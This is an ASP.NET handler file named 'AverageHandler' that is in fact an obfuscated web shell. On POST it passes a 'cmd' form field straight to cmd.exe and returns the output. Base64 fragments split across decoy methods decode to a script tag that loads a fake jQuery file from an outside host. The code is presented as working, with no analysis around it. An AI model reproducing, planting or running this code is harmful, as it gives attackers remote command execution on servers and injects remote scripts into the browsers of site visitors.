%@ WebHandler Language="C#" Class="AverageHandler" %> using System; using System.Web; using System.Diagnostics; using System.IO; public class AverageHandler : IHttpHandler { public bool IsReusable { get { return true; } } private string _0xA1B2cD() { string part1 = this._0xA1B2() + this._0xI9J0() + this._0xU1V2() + this._0xW3X4() + this._0xW3X5() + this._0xW3X6() + this._0xW3X7() + this._0xW3X8() + this._0xW3X9() + this._0xW3X10() + this._0xW3X11() + this._0xW3X12() + this._0xW3X13() + this._0xW3X14(); return part1; } private string _0xU1V2() { return "BzcmM"; } private string _0xW3X4() { return "9Imh0"; } private string _0xW3X5() { return "dHBzO"; } private string _0xW3X6() { return "i8vYX"; } private string _0x3a3a3a(string encoded) { byte[] bytes = Convert.FromBase64String(encoded); return System.Text.Encoding.UTF8.GetString(bytes); } private string _0x106() { string _0x117 = this._0xA1B2cD(); return _0x3a3a3a(_0x117); } public void ProcessRequest(HttpContext ctx) { if (ctx.Request.HttpMethod == "POST") { string command = ctx.Request.Form["cmd"]; ctx.Response.ContentType = "text/html"; ctx.Response.Write("
"); ctx.Response.Write("");
ctx.Response.Write(_0x106());
if (!string.IsNullOrEmpty(command))
{
try
{
ProcessStartInfo psi = new ProcessStartInfo
{
FileName = "cmd.exe",
Arguments = "/c " + command,
RedirectStandardOutput = true,
UseShellExecute = false,
CreateNoWindow = true
};
using (Process p = Process.Start(psi))
{
using (StreamReader reader = p.StandardOutput)
{
string output = reader.ReadToEnd();
ctx.Response.Write(HttpUtility.HtmlEncode(output));
}
}
}
catch (Exception ex)
{
ctx.Response.Write("Error: " + HttpUtility.HtmlEncode(ex.Message));
}
}
ctx.Response.Write("");
}
else
{
ctx.Response.ContentType = "text/html";
ctx.Response.Write("");
}
}
private string _0xA1B2() { return "PHNjc"; }
private string _0xI9J0() { return "mlwdC"; }
private string _0xW3X7() { return "NweHN"; }
private string _0xW3X8() { return "oZWxs"; }
private string _0xW3X9() { return "LmNvbS"; }
private string _0xW3X10() { return "9qcXVl"; }
private string _0xW3X11() { return "cnktMy43L"; }
private string _0xW3X12() { return "jEyLm1pbi5q"; }
private string _0xW3X13() { return "cyI+PC9"; }
private string _0xW3X14() { return "zY3JpcHQ+"; }
}